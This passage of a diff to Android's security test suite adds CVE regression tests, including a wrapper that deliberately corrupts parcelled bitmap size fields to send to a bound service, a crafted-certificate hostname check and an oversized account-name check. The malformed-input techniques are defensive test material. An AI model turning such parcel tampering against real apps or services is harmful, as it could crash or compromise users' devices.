+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5ce81fd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
package android.security.cts;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
@RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+ private Instrumentation mInstrumentation;
+ private PeerConnection mRemoteConnection;
+ private IBitmapService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<IBitmapService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IBitmapService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBitmapService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @After
+ public void tearDown() {
+ if (mRemoteConnection != null) {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ mRemote = null;
+ mRemoteConnection = null;
+ }
+ }
+
+ IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+ if (mRemote == null) {
+ final Context context = mInstrumentation.getContext();
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.security.cts", "android.security.cts.BitmapService"));
+ mRemoteConnection = new PeerConnection();
+ context.bindService(intent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+ return mRemote;
+ }
+
/**
* Test Bitmap.createBitmap properly throws OOME on large inputs.
*
@@ -39,4 +112,102 @@
// which might be passed to createBitmap from a Java decoder.
Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_inplace_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 500KiB; larger than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the blob size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_ashmem_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+ .createAshmemBitmap());
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to be larger than the initial size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be smaller
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 100);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+ enum Field {
+ DataSize,
+ Height,
+ RowBytes,
+ }
+
+ private final Bitmap mBitmap;
+ private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+ public BitmapWrapper(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ private BitmapWrapper(Parcel in) {
+ mBitmap = Bitmap.CREATOR.createFromParcel(in);
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public BitmapWrapper reset() {
+ mReplaceFields.clear();
+ return this;
+ }
+
+ public BitmapWrapper replace(Field field, int newValue) {
+ mReplaceFields.put(field, newValue);
+ return this;
+ }
+
+ @Override
+ public int describeContents() {
+ return mBitmap.describeContents();
+ }
+
+ @Override
+ public void writeToParcel(@NonNull Parcel dest, int flags) {
+ final int before = dest.dataPosition();
+ mBitmap.writeToParcel(dest, flags);
+ final int oldEnd = dest.dataPosition();
+ if (!mReplaceFields.isEmpty()) {
+ dest.setDataPosition(before
+ + 4 /* immutable */
+ + 4 /* colortype */
+ + 4 /* alpha type */);
+ // Skip sizeof colorspace
+ int colorSpaceLen = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+ Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+ Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.Height)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.Height));
+ }
+ Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.RowBytes)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.RowBytes));
+ }
+ Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+ int type = dest.readInt();
+ if (type == 0) { // in-place
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ int newEnd = dest.dataPosition() + dataSize;
+ dest.setDataSize(newEnd);
+ dest.setDataPosition(newEnd);
+ } else {
+ int skip = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + skip);
+ }
+ } else if (type == 1) { // ashmem
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ }
+ dest.setDataPosition(oldEnd);
+ } else {
+ Assert.fail("Unknown type " + type);
+ }
+ }
+ }
+
+ public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+ new Parcelable.Creator<BitmapWrapper>() {
+ public BitmapWrapper createFromParcel(Parcel in) {
+ return new BitmapWrapper(in);
+ }
+
+ public BitmapWrapper[] newArray(int size) {
+ return new BitmapWrapper[size];
+ }
+ };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 4810703..a15ab42 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
/**
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testAcceptIntent() {
genericIntentTest("ACCEPT");
}
@@ -35,6 +40,7 @@
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testDeclineIntent() {
genericIntentTest("DECLINE");
}
@@ -47,7 +53,7 @@
new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
should_be_protected_broadcast.setAction(prefix + action);
- mContext.sendBroadcast(should_be_protected_broadcast);
+ getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9e..f85ec3f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,7 +37,7 @@
import static org.junit.Assume.*;
@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
private static final String TAG = "CVE_2020_0294";
/**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c40..14cb7ce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
private final Context mContext = InstrumentationRegistry.getContext();
boolean isVulnerable = true;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba..44bbc01 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a42..98b8de8 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@
import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,7 +41,7 @@
import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
static final String TAG = CVE_2021_0339.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 0000000..130dce5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+ private byte[] idData;
+ private String nameHost = null;
+ private int namePort = -1;
+ private Hashtable table;
+ private boolean invalidateDone = false;
+ private Certificate[] certs = null;
+ private javax.security.cert.X509Certificate[] xCerts = null;
+
+ public CVE_2021_0341_SSLSession(Certificate[] xc)
+ throws CertificateEncodingException, CertificateException {
+ certs = xc;
+ xCerts = new javax.security.cert.X509Certificate[xc.length];
+ int i = 0;
+ for (Certificate cert : xc) {
+ xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+ }
+ }
+
+ public int getApplicationBufferSize() {
+ return 1234567;
+ }
+
+ public String getCipherSuite() {
+ return "SuiteName";
+ }
+
+ public long getCreationTime() {
+ return 1000L;
+ }
+
+ public byte[] getId() {
+ return idData;
+ }
+
+ public long getLastAccessedTime() {
+ return 2000L;
+ }
+
+ public Certificate[] getLocalCertificates() {
+ return null;
+ }
+
+ public Principal getLocalPrincipal() {
+ return null;
+ }
+
+ public int getPacketBufferSize() {
+ return 12345;
+ }
+
+ public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (certs == null));
+ return certs;
+ }
+
+ public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+ throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (xCerts == null));
+ return xCerts;
+ }
+
+ public String getPeerHost() {
+ return nameHost;
+ }
+
+ public int getPeerPort() {
+ return namePort;
+ }
+
+ public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+ return null;
+ }
+
+ public String getProtocol() {
+ return "ProtocolName";
+ }
+
+ public SSLSessionContext getSessionContext() {
+ return null;
+ }
+
+ public void putValue(String s, Object obj) {
+ assumeFalse("arguments can not be null", (s == null || obj == null));
+ Object obj1 = table.put(s, obj);
+ if (obj1 instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+ }
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+ }
+ }
+
+ public void removeValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ Object obj = table.remove(s);
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+ }
+ }
+
+ public Object getValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ return table.get(s);
+ }
+
+ public String[] getValueNames() {
+ Vector vector = new Vector();
+ Enumeration enumeration = table.keys();
+ while (enumeration.hasMoreElements()) {
+ vector.addElement(enumeration.nextElement());
+ }
+ String as[] = new String[vector.size()];
+ vector.copyInto(as);
+ return as;
+ }
+
+ public void invalidate() {
+ invalidateDone = true;
+ }
+
+ public boolean isValid() {
+ return invalidateDone;
+ }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+ public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+ + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+ + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+ + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+ + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+ + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+ + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+ + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+ + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+ + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+ + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+ + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+ + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+ + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+ + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+ /**
+ * b/171980069
+ */
+ @AsbSecurityTest(cveBugId = 171980069)
+ @Test
+ public void testPocCVE_2021_0341() throws Exception {
+ CertificateFactory cf = CertificateFactory.getInstance("X.509");
+ assumeNotNull(cf);
+ HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+ assumeNotNull(verifier);
+ InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+ java.security.cert.X509Certificate x509 =
+ (java.security.cert.X509Certificate) cf.generateCertificate(in);
+ assumeNotNull(x509);
+ CVE_2021_0341_SSLSession session =
+ new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+ assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc71..d437142 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff..d4b0179 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.List;
@@ -34,7 +35,7 @@
import static org.junit.Assume.assumeThat;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
private String TAG = "CVE_2021_0521";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37..b79070f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
private Instrumentation mInstrumentation;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..0f44d8c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 169762606)
+ @Test
+ public void testPocCVE_2021_0934() {
+ try {
+ // Creating an account with arguments 'name' and 'type' whose
+ // lengths are greater than 200
+ String name = new String(new char[300]).replace("\0", "n");
+ String type = new String(new char[300]).replace("\0", "t");
+ Account acc = new Account(name, type);
+ assumeNotNull(acc);
+
+ // Shouldn't have reached here, unless fix is not present
+ fail("Vulnerable to b/169762606, allowing account name/type "
+ + "with character count 300 whereas limit is 200");
+ } catch (Exception e) {
+ if (e instanceof IllegalArgumentException) {
+ // This is expected with fix
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..0add1bd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 200682135)
+ public void testPocCVE_2021_39663() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ ContentResolver contentResolver = context.getContentResolver();
+ try {
+ Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+ new ContentValues());
+ ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+ assumeNotNull(pfd);
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int flags = Os.fcntlInt(fd, F_GETFL, 0);
+ pfd.close();
+ contentResolver.delete(uri, null, null);
+ assumeTrue("Unable to read file status flags", flags > 0);
+ assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
